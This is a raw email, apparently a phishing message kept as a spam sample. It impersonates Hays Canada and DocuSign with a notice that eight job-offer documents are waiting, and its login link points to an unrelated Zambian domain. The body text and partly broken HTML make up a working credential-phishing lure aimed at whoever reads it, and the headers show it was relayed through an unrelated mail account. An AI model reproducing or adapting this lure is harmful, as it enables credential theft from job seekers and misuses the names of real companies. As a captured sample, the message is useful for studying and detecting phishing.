:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Subscribe:List-Post:List-Owner:List-Archive;

bh=yZqMn+KBlk1Ng5YeDZTX/r7kD/WoQdtNMx8k/W9IrhQ=; b=F91zhfWZaznrKEhbUHAA2uPw9R

ztRstu8e9pCV68Pd9+kCY0uqA0yCZyMTYBWFA6blCkDSQAKDnzZ/dKMr2LGkEZmf/qHa2c3Cs83vl

AAE7I3r8M8fKdehKJIUzZoSlx7O7+aUlWiNunTefhJ+kapEMHfvSl8BM79/SJ1ZXIWbTbSh5hkUT3

cAqubo9+APBeYLEkJzIuVVEw2/qz/PhhJuLsMkVqg92s0KC7vOl9H9+BhEGhSumZ48BZ49B74V+NL

dtHJNkxuyr+61W0exCkp9OvQ+fjkYUhrVZJnnYgyJCSdWTjROb7Aw/TNOqX4KoUK2CaJFmDZajlFV

y1UcPSqA==;

Received: from [52.229.105.226] (port=60441 helo=[127.0.0.1])

by cpanel32.dnscpanel.com with esmtpsa (TLS1) tls TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

(Exim 4.96.2)

(envelope-from )

id 1rGNhU-00023e-0g

for doctor@nk.ca;

Thu, 21 Dec 2023 18:23:18 +0000

MIME-Version: 1.0

To: doctor@nk.ca

From: "Hays Canada"

Subject: A new document has been delivered to your inbox

Date: Thu, 21 Dec 2023 18:23:16 +0000

Importance: normal

X-Priority: 3

Content-Type: multipart/alternative;

boundary="_E7567B54-0D63-CFAF-CA82-96A0D835A891_"

Message-ID:

X-Get-Message-Sender-Via: cpanel32.dnscpanel.com: authenticated_id: presidente.assembleia@adv-vilela.pt

X-Authenticated-Sender: cpanel32.dnscpanel.com: presidente.assembleia@adv-vilela.pt

X-Originating-IP: 94.126.169.135

X-SpamExperts-Domain: cpanel32.dnscpanel.com

X-SpamExperts-Username: 94.126.169.135

Authentication-Results: host-services.com; auth=pass smtp.auth=94.126.169.135@cpanel32.dnscpanel.com

X-SpamExperts-Outgoing-Class: ham

X-SpamExperts-Outgoing-Evidence: Combined (0.12)

X-Recommended-Action: accept

X-Filter-ID: Pt3MvcO5N4iKaDQ5O6lkdGlMVN6RH8bjRMzItlySaT9XpfHIa05+4QJRftVNg0gYPUtbdvnXkggZ

3YnVId/Y5jcf0yeVQAvfjHznO7+bT5yHRQL3BBN7GDjMHAqBLoGvZQqknaLswIk525p8sz55NArD

XkQqrRe42n1yb/k+HGDlYLLlWSy3OGfGBNeqx2anitryXqKhHChO43NwZastA2D6AC4gg0bsg9YU

EA/7yA0MmuGHsgVvtzUvmRGuTxq0puGXed8VjoeeEKguXydrkY8e7hPrlkY5cQpeVm0JiZUEOo/j

4UzXI9PRT3LUhiSr4XOIeldhCuctNQJOeCmBB/eUvzEBYV92GQdG8CviAOG9GRbOwCBpaiXEjEKP

YYe2jpq2zFoWRZL8o72CBW3vLXW/QcKr0iPdaChCh7Mz6xxpZZHt2sx3SpskijVFUJeJ7ZVcZ20v

KiDu6LnR8m9k9VUOfMXv5a6okRmpSN2D7MTk6xV06FcgZkQoEFV+s1chVLvKs3jED+rkxy9HfVI3

2GPkkA8KcRy6EM7tOwHgAXKgrH5CnPTmHTFR9Bro/o1aJLFZV2VsWrEXxYzPJvIeyCEnVSsgPP/M

gqSGMx92qX+/Ib/3gD1xdv4OjYexFN7iBXFUXk73rAWGdgi8upNP+rvbZ2X78j2p1bn22QybLx5y

TIkuOBgdbu0HY5DnoGbtYu8C5mJ57ZG9g9QfbBpIF+IF0HMv26HNiIsK9xxJqmvRtFuayQSHKxuV

s+RmqoRqqe0qvr5yub6t9+RpDpmA6DEvkUboEpnbnYuoEChN5I3dt/oizOpiwVbWvwLcxcTB9EF9

o1209iF9/VXnUGW5f0z8/BD81t4YpivvLdA41QA8CVsONrMJuGzuoGnKTKcyqplfFHYCVgIOHMau

gMYVDOINuWjQeot2l60/JwLiQcM9rb0bSLTvr68Q5I0euR/iUKVglN1/89e8M64WzOO/JBflwisS

BvVzBIEQ3Wlqbwr+GMIBNad3aZ6tlNDuc3AIwBQ3YtSbUTs/3rGfDGSa1DBtUD9+Z7GHz/OHPkRS

tyr0u2tNNQm0D/QY3HPPIb/uzx7yYImbRUNQ2N01J+cj/w==

X-Report-Abuse-To: spam@mx01.host-services.com

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



--_E7567B54-0D63-CFAF-CA82-96A0D835A891_

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





=20



=20



Hello,

this email is to notify you that new documents have been delivered to =

your Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he=

alth_safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents=

=2E

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://nusfaz.irock.co.zm/humans/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share thi=

s email, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and =

legally binding. Whether you're in an office, at home, on-the-go -- or=

even across the globe -- DocuSign provides a professional trusted sol=

ution for Digital Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details=

in the document, please reach out to the sender by emailing them dire=

ctly.

This message was sent to you by Hays who is using the DocuSign Electro=

nic Signature Service. If you would rather not receive email from this=

sender you may contact the sender with your request.

=20



--_E7567B54-0D63-CFAF-CA82-96A0D835A891_

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable








pe" />





Hays job offer




ca,Arial,Sans Serif;">


0" dir=3D"" role=3D"presentation" width=3D"100%">















 


llapse:collapse;background-color:#ffffff;max-width:640px;">











































 





3D"DocuSign"
ok/assets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />=








Hello,





this email is to notify you that new documents have been deli=

vered to your Docusign (HAYS)
lass=3D"d-inline font-weight-bold">Premium
;">s
FilesTransfer
yle=3D"color:#FFFFFF;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.=

pdf, salary_g.pdf, c=

alculation.pdf, health_safety.pdf,
s=3D"pdf-name">legisl_req.pdf, policies.pdf,

an>
recruitm_agent.pdf





There are a total of 8 documents. Log in below to read these =

documents.





Best regards,





Hays


 








3D""
email/Email_Logo.png" style=3D"width: 116px; height: 34px; float: righ=

t;" />






ng=3D"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color=

:#FFFFFF;" width=3D"100%">












der-radius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;f=

ont-family:Helvetica,Arial,Sans Serif;width:100%;text-align:center;"><=

img alt=3D"" height=3D"75" src=3D"https://www.docusign.net/member/Imag=

es/email/docComplete-white.png" style=3D"width:75px;height:75px;" widt=

h=3D"75" />


"presentation" width=3D"100%">










6px;font-family:Helvetica,Arial,Sans Serif;border:none;text-align:cent=

er;color:#FFFFFF">Your documents have been completed and sent to you
td>






"presentation" width=3D"100%">




























4px;color:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial=

,Sans Serif;font-weight:bold;text-align:center;text-decoration:none;;b=

order-radius:2px;border: 1px solid #FFFFFF;background-color:#1e4ca1;he=

ight:100%;display:block;">
/?a=3DID2119" target=3D"_blank">
"color:#FFFFFF;">VIEW COMPLETED DOCUMENTS









16px;font-family:Helvetica,Arial,Sans Serif;background-color:white;">


presentation">














ght:bold;line-height:18px;font-size:15px;color:#333333;">Hays sent thi=

s email to:





ght:18px;font-size:15px;color:#666666;">doctor@nk.ca







rial,Sans Serif;line-height:20px;"> 




;font-family:Helvetica,Arial,Sans Serif;font-size:11px;color:#666666;"=


A;">


erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Do Not Share This Email



This email contains a secure link to DocuSign. Please do not sha=

re this email, link, or access code with others.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">About DocuSign



Sign documents electronically in just minutes. It's safe, se=

cure, and legally binding. Whether you're in an office, at home, o=

n-the-go -- or even across the globe -- DocuSign provides a profession=

al trusted solution for Digital Transaction Management™.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Questions about the Document?



If you need to modify the document or have questions about the d=

etails in the document, please reach out to the sender by emailing the=

m directly.






erif;font-size:13px;color:#666666;line-height:18px;">This message was =

sent to you by Hays who is using the DocuSign Electronic Signature Ser=

vice. If you would rather not receive email from this sender you may c=

ontact the sender with your request.




A;"> 


 





p=3D"text" />





/>





--_E7567B54-0D63-CFAF-CA82-96A0D835A891_--